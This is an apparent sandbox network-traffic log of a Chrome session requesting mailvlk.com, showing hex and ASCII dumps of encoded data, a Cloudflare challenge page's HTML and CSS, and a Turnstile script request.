2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 41 45 54 30 2b 49 79 68 47 4b 67 4d 2b 49 53 4a 4a 4a 44 38 4e 52 55 59 75 44 41 31 46 45 43 67 57 4b 54 74 4f 58 68 5a 63 4c 6a 5a 4d 4c 47 42 6d 57 54 30 62 53 30 42 62 4b 57 46 65 53 69 67 70 59 53 78 45 4d 6b 56 58 61 30 4e 57 4f 44 78 37 4f 55 35 2f 56 57 31 37 55 48 4e 64 59 32 6c 32 62 47 74 70 69 57 52 67 5a 6d 74 46 62 59 68 52 5a 34 56 59 55 48 4e 78 58 59 74 79 62 70 39 31 6a 5a 74 77 6b 34 47 44 69 5a 61 4d 69 6f 6d 70 68 49 43 47 69 32 57 4e 71 48 47 6c 6f 34 53 6f 65 62 32 49 75 49 72 42 64 37 2b 73 68 48 76 45 79 4a 62 48 6d 61 4c 42 7a 49 36 4c 6e 71 69 4a 71 4a 37 4f 73 62 65 7a 6b 5a 72 51 76 62 43 71 79 4a 4c 50 76 4a 6d 30 6f 39 4b 7a 36 61 54 49 31 4d 6d 6b 36 63 54 41 78 73 4b 74 71 2f 54 6a 38 73 66 61 2b 37 6e 4b 2b 37 33 30 79 74 Data Ascii: AET0+IyhGKgM+ISJJJD8NRUYuDA1FECgWKTtOXhZcLjZMLGBmWT0bS0BbKWFeSigpYSxEMkVXa0NWODx7OU5/VW17UHNdY2l2bGtpiWRgZmtFbYhRZ4VYUHNxXYtybp91jZtwk4GDiZaMiomphICGi2WNqHGlo4Soeb2IuIrBd7+shHvEyJbHmaLBzI6LnqiJqJ7OsbezkZrQvbCqyJLPvJm0o9Kz6aTI1Mmk6cTAxsKtq/Tj8sfa+7nK+730yt
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 4d 7a 6b 45 42 54 77 70 49 43 30 4d 43 68 35 49 52 6b 34 31 52 45 5a 57 56 69 63 39 45 42 38 75 51 69 41 6a 59 31 70 47 52 6b 4d 35 58 55 64 65 50 30 35 49 4c 6b 6c 51 58 53 6f 78 63 57 78 47 4e 6a 42 36 56 58 6c 56 4f 33 42 51 4f 58 31 4d 66 45 35 2f 51 47 42 6c 62 46 6d 48 67 55 68 4a 67 47 31 6b 63 56 42 4f 59 6f 79 4b 6b 6e 6d 49 57 59 75 4c 6a 59 36 68 59 31 32 59 58 46 6d 6e 69 49 71 4b 68 33 32 68 69 36 4b 44 6b 6f 78 79 6a 5a 53 68 62 6e 53 6d 65 59 53 34 75 33 65 5a 76 5a 6c 2f 74 4a 52 39 77 5a 44 41 6b 73 4f 45 70 4b 6d 77 6e 63 76 46 6a 49 33 45 73 61 69 31 6c 4a 4b 6d 30 4d 37 57 76 63 79 71 72 72 72 64 35 61 47 6d 33 4c 4c 72 6f 65 76 6f 71 4b 37 75 75 39 33 76 30 75 7a 69 31 50 6e 52 39 39 6e 75 39 64 62 61 76 74 6e 67 37 73 7a 43 37 2f 76 Data Ascii: MzkEBTwpIC0MCh5IRk41REZWVic9EB8uQiAjY1pGRkM5XUdeP05ILklQXSoxcWxGNjB6VXlVO3BQOX1MfE5/QGBlbFmHgUhJgG1kcVBOYoyKknmIWYuLjY6hY12YXFmniIqKh32hi6KDkoxyjZShbnSmeYS4u3eZvZl/tJR9wZDAksOEpKmwncvFjI3Esai1lJKm0M7Wvcyqrrrd5aGm3LLroevoqK7uu93v0uzi1PnR99nu9dbavtng7szC7/v
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 67 6f 75 43 56 4d 51 55 69 45 75 55 46 67 4d 56 6b 59 38 4f 78 74 51 51 42 70 69 57 30 59 30 49 46 74 48 49 69 64 72 54 54 77 34 61 31 42 74 52 6b 35 4d 61 44 39 6c 5a 44 5a 6e 52 7a 4d 30 56 30 6c 4d 67 45 4a 67 4e 31 35 47 58 49 5a 33 61 31 32 41 53 6f 78 6c 54 56 42 4c 62 58 42 69 6d 47 4f 51 56 59 65 4b 62 4a 35 6e 6e 33 53 69 57 70 43 66 67 6e 56 38 59 61 46 6d 6d 70 79 4c 6d 4c 47 76 70 35 47 64 70 36 53 53 64 70 4f 75 70 6f 53 38 63 48 57 72 76 4c 75 39 6a 4b 47 76 77 5a 6d 6e 6f 34 71 5a 71 34 53 6d 6d 72 79 7a 75 38 47 65 72 64 4b 74 75 70 47 6d 30 70 72 49 31 4e 58 64 6d 4e 71 39 34 62 37 6d 78 72 69 68 35 62 36 2b 70 4d 33 4a 33 38 4b 39 79 65 50 73 39 2f 58 70 79 75 2f 49 37 73 66 4e 76 73 76 66 39 66 44 38 2b 41 4c 58 32 73 44 64 34 50 76 4a Data Ascii: gouCVMQUiEuUFgMVkY8OxtQQBpiW0Y0IFtHIidrTTw4a1BtRk5MaD9lZDZnRzM0V0lMgEJgN15GXIZ3a12ASoxlTVBLbXBimGOQVYeKbJ5nn3SiWpCfgnV8YaFmmpyLmLGvp5Gdp6SSdpOupoS8cHWrvLu9jKGvwZmno4qZq4Smmryzu8GerdKtupGm0prI1NXdmNq94b7mxrih5b6+pM3J38K9yePs9/Xpyu/I7sfNvsvf9fD8+ALX2sDd4PvJ
2024-04-24 13:43:07 UTC	539	IN	Data Raw: 51 31 4c 55 68 49 4f 46 77 73 52 30 63 74 4e 56 56 43 56 55 45 38 54 7a 35 67 53 79 64 4a 51 69 34 68 4a 6b 41 73 57 31 4d 72 4e 45 52 6a 61 45 39 50 62 45 73 39 61 48 56 2f 55 46 68 59 62 57 4e 55 66 48 64 71 52 56 6d 4e 57 33 42 4e 62 46 74 6a 53 6f 4b 55 6b 46 56 56 6a 59 69 64 57 47 70 36 6d 48 61 4c 58 46 31 2b 6a 33 69 54 70 4b 43 48 72 49 71 61 68 49 68 74 71 48 43 6e 71 71 53 66 62 36 57 70 68 5a 4e 30 6b 36 79 58 6e 58 6c 2f 6e 5a 6d 42 75 38 6d 46 78 4c 69 30 68 4d 6d 67 6f 61 61 62 68 61 7a 49 6b 5a 62 56 70 39 6e 56 75 4e 36 59 74 74 54 67 6f 72 54 57 78 61 43 30 34 75 44 49 6f 39 6a 4d 36 63 4c 4b 79 38 33 4f 72 65 44 4b 78 4e 44 36 75 73 54 59 2b 2b 76 76 73 76 66 39 74 64 66 4e 32 4e 2f 61 42 65 58 43 78 65 62 33 34 50 73 4e 43 65 38 56 38 Data Ascii: Q1LUhIOFwsR0ctNVVCVUE8Tz5gSydJQi4hJkAsW1MrNERjaE9PbEs9aHV/UFhYbWNUfHdqRVmNW3BNbFtjSoKUkFVVjYidWGp6mHaLXF1+j3iTpKCHrIqahIhtqHCnqqSfb6WphZN0k6yXnXl/nZmBu8mFxLi0hMmgoaabhazIkZbVp9nVuN6YttTgorTWxaC04uDIo9jM6cLKy83OreDKxND6usTY++vvsvf9tdfN2N/aBeXCxeb34PsNCe8V8
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 31 31 64 30 0d 0a 6f 78 36 6a 41 7a 4e 6a 4f 34 73 37 6e 38 4d 50 74 73 62 66 61 73 4e 4b 36 75 2f 71 36 31 76 62 78 77 39 62 78 77 41 67 44 34 74 54 37 34 2f 6e 66 35 4d 76 65 35 51 51 50 2f 65 6e 74 34 39 4c 6f 47 64 50 79 35 68 44 30 36 39 77 69 33 77 54 75 4a 53 66 7a 2b 41 51 46 44 50 6b 74 4c 79 7a 73 49 68 51 6a 2f 6a 55 79 39 67 73 71 43 50 7a 34 4d 43 46 42 39 42 73 33 4a 78 59 67 4e 78 51 57 53 54 59 4d 43 44 77 64 48 51 56 54 55 79 77 58 52 6c 4e 55 4b 79 51 77 48 68 70 4c 57 69 49 30 47 6c 74 61 4a 32 51 31 5a 44 52 64 4f 54 35 43 4d 47 4d 36 52 30 78 72 61 7a 46 6f 63 30 39 4b 4d 6a 73 2b 53 58 73 37 50 31 53 42 64 32 5a 62 59 49 4a 47 52 6c 52 5a 67 6b 47 4c 53 49 31 6b 61 30 78 30 54 5a 57 53 54 47 52 7a 66 5a 4a 77 61 59 2b 68 64 46 5a 78 Data Ascii: 11d0ox6jAzNjO4s7n8MPtsbfasNK6u/q61vbxw9bxwAgD4tT74/nf5Mve5QQP/ent49LoGdPy5hD069wi3wTuJSfz+AQFDPktLyzsIhQj/jUy9gsqCPz4MCFB9Bs3JxYgNxQWSTYMCDwdHQVTUywXRlNUKyQwHhpLWiI0GltaJ2Q1ZDRdOT5CMGM6R0xrazFoc09KMjs+SXs7P1SBd2ZbYIJGRlRZgkGLSI1ka0x0TZWSTGRzfZJwaY+hdFZx
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 50 69 78 73 4f 37 35 2f 4c 74 37 62 32 73 30 38 37 6e 36 62 65 33 79 37 54 39 31 4d 76 41 33 76 62 67 78 64 77 47 31 38 62 4b 31 66 37 70 41 76 48 6d 37 52 55 56 36 68 62 6f 37 66 66 34 32 74 49 54 49 50 73 63 39 76 6e 78 2b 4f 50 2b 48 50 44 62 41 2b 4c 31 41 77 59 68 4c 2b 30 54 4a 77 49 44 45 68 50 75 45 7a 63 54 2b 42 6f 4f 4f 43 49 54 46 6b 42 42 46 45 55 6b 4b 68 4d 35 53 43 64 4d 49 41 77 44 4b 30 59 51 4a 41 77 4a 4c 7a 4d 53 45 54 52 4f 46 45 31 4e 58 6a 4e 58 55 43 35 62 52 30 5a 52 57 6b 77 33 4e 32 4d 2b 4c 44 77 72 59 30 52 46 63 57 68 75 63 54 4e 6d 55 45 70 57 67 45 42 4b 58 6f 46 78 64 54 68 39 67 7a 74 36 62 46 5a 31 66 56 35 4d 59 45 75 44 5a 30 39 54 59 57 74 6f 64 32 78 32 6a 46 65 4c 56 34 79 58 65 33 71 61 6e 36 53 68 6d 6f 46 64 6e Data Ascii: PixsO75/Lt7b2s087n6be3y7T91MvA3vbgxdwG18bK1f7pAvHm7RUV6hbo7ff42tITIPsc9vnx+OP+HPDbA+L1AwYhL+0TJwIDEhPuEzcT+BoOOCITFkBBFEUkKhM5SCdMIAwDK0YQJAwJLzMSETROFE1NXjNXUC5bR0ZRWkw3N2M+LDwrY0RFcWhucTNmUEpWgEBKXoFxdTh9gzt6bFZ1fV5MYEuDZ09TYWtod2x2jFeLV4yXe3qan6ShmoFdn

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.17	49749	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:07 UTC	850	OUT	GET /favicon.ico HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 13:43:07 UTC	1290	IN	HTTP/1.1 403 Forbidden Date: Wed, 24 Apr 2024 13:43:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 16710 Connection: close Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin X-Frame-Options: SAMEORIGIN cf-mitigated: challenge cf-chl-out: TLRIbIeO3H8sdZ0BB/PwH/aZb8tBqBmzNWpjLoNaM5K+XwHYW118kCeJT7xLlyNd14a49oXQKLvCSHlZbxX1Rodtg5qrmuc6cwGaY3vAom6xsy7SwM5ky8YcHUN92bw85mSQbtceRYglHOarBqcp/w==$DSKBgHV6XAcH1QQsoxteWw== Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT
2024-04-24 13:43:07 UTC	409	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 43 55 78 32 6f 46 35 72 77 31 67 41 4b 25 32 42 74 39 46 6b 6e 79 6c 36 7a 64 74 34 58 79 64 74 6a 71 6c 70 58 56 38 69 57 6b 44 32 78 64 74 49 36 42 64 51 53 4d 63 75 47 72 57 4d 7a 57 36 78 69 57 6b 44 4f 76 52 69 53 65 50 6c 74 52 42 25 32 46 25 32 46 74 33 6a 75 72 58 6f 25 32 46 72 78 49 66 34 4a 35 75 31 63 59 48 77 4b 79 51 46 57 79 74 51 25 32 42 42 43 49 56 50 39 43 38 48 34 62 37 69 70 34 76 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CUx2oF5rw1gAK%2Bt9Fknyl6zdt4XydtjqlpXV8iWkD2xdtI6BdQSMcuGrWMzW6xiWkDOvRiSePltRB%2F%2Ft3jurXo%2FrxIf4J5u1cYHwKyQFWytQ%2BBCIVP9C8H4b7ip4vg%3D%3D"}],"group":"cf-nel","max_age":6048
2024-04-24 13:43:07 UTC	1039	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a 6d 6c 73 62 44 30 69 62 6d 39 75 5a 53 49 67 64 6d 6c 6c 64 30 4a 76 65 44 30 69 4d 43 41 77 49 44 49 32 49 44 49 32 49 6a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b 50 53 4a 4e 4d 54 4d 67 4d 47 45 78 4d 79 41 78 4d 79 41 77 49 44 45 67 4d 43 41 77 49 44 49 32 49 44 45 7a 49 44 45 7a 49 44 41 67 4d 43 41 77 49 44 41 74 4d 6a 5a 74 4d 43 41 79 4e 47 45 78 4d 53 41 78 4d 53 41 77 49 44 45 67 4d 53 41 77 4c 54 49 79 49 44 45 78 49 44 45 78 49 44 41 67 4d 43 41 78 49 44 41 67 4d 6a 49 69 4c 7a 34 38 63 47 46 30 61 43 42 6d 61 57 78 73 50 53 49 6a 5a 44 6c 6b 4f 57 51 35 49 69 42 6b Data Ascii: jAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZmlsbD0ibm9uZSIgdmlld0JveD0iMCAwIDI2IDI2Ij48cGF0aCBmaWxsPSIjZDlkOWQ5IiBkPSJNMTMgMGExMyAxMyAwIDEgMCAwIDI2IDEzIDEzIDAgMCAwIDAtMjZtMCAyNGExMSAxMSAwIDEgMSAwLTIyIDExIDExIDAgMCAxIDAgMjIiLz48cGF0aCBmaWxsPSIjZDlkOWQ5IiBk
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 32 30 66 30 33 7d 62 6f 64 79 2e 64 61 72 6b 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 64 61 72 6b 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 36 39 33 66 66 3b 63 6f 6c 6f 72 3a 23 31 64 31 64 31 64 7d 62 6f 64 79 2e 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 61 3a 69 6d 61 67 65 2f 73 76 67 2b 78 6d 6c 3b 62 61 73 65 36 34 2c 50 48 4e 32 5a 79 42 34 62 57 78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 39 7a 64 6d 63 69 49 48 64 70 5a 48 52 6f 50 53 49 7a 4d 69 49 67 61 47 56 70 5a 32 68 30 50 53 49 7a 4d 69 49 67 5a Data Ascii: 20f03}body.dark .big-button,body.dark .pow-button{background-color:#4693ff;color:#1d1d1d}body.dark #challenge-success-text{background-image:url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgZ
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 6c 64 73 2d 72 69 6e 67 20 64 69 76 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 35 39 35 39 35 39 20 74 72 61 6e 73 70 61 72 65 6e 74 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 66 6f 6e 74 2d 72 65 64 7b 63 6f 6c 6f 72 3a 23 66 63 35 37 34 61 7d 62 6f 64 79 2e 6c 69 67 68 74 20 2e 62 69 67 2d 62 75 74 74 6f 6e 2c 62 6f 64 79 2e 6c 69 67 68 74 20 2e 70 6f 77 2d 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 30 30 33 36 38 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 62 6f 64 79 2e 6c 69 67 68 74 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 64 61 74 Data Ascii: lds-ring div{border-color:#595959 transparent transparent}body.light .font-red{color:#fc574a}body.light .big-button,body.light .pow-button{background-color:#003681;border-color:#003681;color:#fff}body.light #challenge-success-text{background-image:url(dat
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 33 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 63 6f 6c 6f 72 20 2e 31 35 73 20 65 61 73 65 7d 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 65 65 37 33 30 61 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 68 65 69 67 68 74 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 2e 35 72 65 6d 3b 77 69 64 74 68 3a 32 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 Data Ascii: 3;text-decoration:none;transition:color .15s ease}a:hover{color:#ee730a;text-decoration:underline}.main-content{margin:8rem auto;max-width:60rem;width:100%}.heading-favicon{height:2rem;margin-right:.5rem;width:2rem}@media (width <= 720px){.main-content{ma
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 79 34 7a 4f 44 6b 74 4c 6a 59 31 49 44 41 74 4d 53 34 77 4e 54 59 74 4c 6a 4d 34 4f 53 30 75 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 Data Ascii: y4zODktLjY1IDAtMS4wNTYtLjM4OS0uMzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);padding-left:34px}#challenge-error-text,#challenge-success-text{background-repeat:no-repeat;background-size:contain}#challenge-success-tex
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 30 72 65 6d 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 66 6f 6f 74 65 72 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 64 39 64 39 64 39 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 72 65 6d 7d 2e 63 6c 65 61 72 66 69 78 3a 61 66 74 65 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 63 6c 65 61 72 66 69 78 20 2e 63 6f 6c 75 6d 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 2e 35 72 65 6d 3b 77 69 64 74 68 3a 35 30 25 7d 2e 64 69 61 67 6e 6f 73 74 69 63 2d 77 72 61 70 70 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 7d 2e 66 6f 6f 74 65 72 Data Ascii: 0rem;width:100%}.footer-inner{border-top:1px solid #d9d9d9;padding-bottom:1rem;padding-top:1rem}.clearfix:after{clear:both;content:"";display:table}.clearfix .column{float:left;padding-right:1.5rem;width:50%}.diagnostic-wrapper{margin-bottom:.5rem}.footer
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 68 65 61 64 69 6e 67 2d 66 61 76 69 63 6f 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 73 75 63 63 65 73 73 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 34 32 70 78 7d 2e 72 74 6c 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 31 30 30 25 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 34 70 78 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 Data Ascii: heading-favicon{margin-left:.5rem;margin-right:0}.rtl #challenge-success-text{background-position:100%;padding-left:0;padding-right:42px}.rtl #challenge-error-text{background-position:100%;padding-left:0;padding-right:34px}</style><meta http-equiv="refres
2024-04-24 13:43:07 UTC	1369	IN	Data Raw: 4c 36 55 4a 46 4e 34 77 76 30 51 69 49 61 45 70 57 66 4b 56 41 59 49 5f 43 79 4c 44 58 36 5f 50 41 50 68 4e 6d 2e 47 76 50 53 78 7a 4f 2e 2e 68 43 45 30 30 69 58 6d 5a 39 4d 48 38 37 68 69 72 7a 5f 36 35 65 66 52 32 43 30 48 35 31 74 45 65 6d 76 56 67 75 72 68 52 6b 70 4a 51 38 4b 58 36 36 6a 63 32 37 6d 32 77 53 32 6c 76 59 6a 75 4d 73 50 43 35 4e 33 4c 31 53 50 45 66 71 59 42 78 45 4f 63 67 75 68 64 61 38 6c 5f 56 58 55 37 6a 54 69 51 54 36 57 4e 72 78 38 69 7a 33 58 35 33 72 42 38 6f 45 6b 4d 5a 76 58 69 64 7a 55 52 79 4a 6b 44 6d 68 34 54 56 39 57 56 34 77 76 30 42 44 4a 6f 71 71 75 41 62 6a 31 6e 54 6c 33 2e 4b 32 68 7a 48 62 77 41 37 65 6d 61 7a 66 71 54 4a 62 7a 38 64 62 6b 4f 43 75 4d 62 2e 4f 4b 7a 33 6e 78 34 31 73 57 72 42 43 33 74 63 75 76 59 Data Ascii: L6UJFN4wv0QiIaEpWfKVAYI_CyLDX6_PAPhNm.GvPSxzO..hCE00iXmZ9MH87hirz_65efR2C0H51tEemvVgurhRkpJQ8KX66jc27m2wS2lvYjuMsPC5N3L1SPEfqYBxEOcguhda8l_VXU7jTiQT6WNrx8iz3X53rB8oEkMZvXidzURyJkDmh4TV9WV4wv0BDJoqquAbj1nTl3.K2hzHbwA7emazfqTJbz8dbkOCuMb.OKz3nx41sWrBC3tcuvY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49750	104.17.2.184	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:07 UTC	579	OUT	GET /turnstile/v0/b/471dc2adc340/api.js?onload=ZbqNq8&render=explicit HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://mailvlk.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
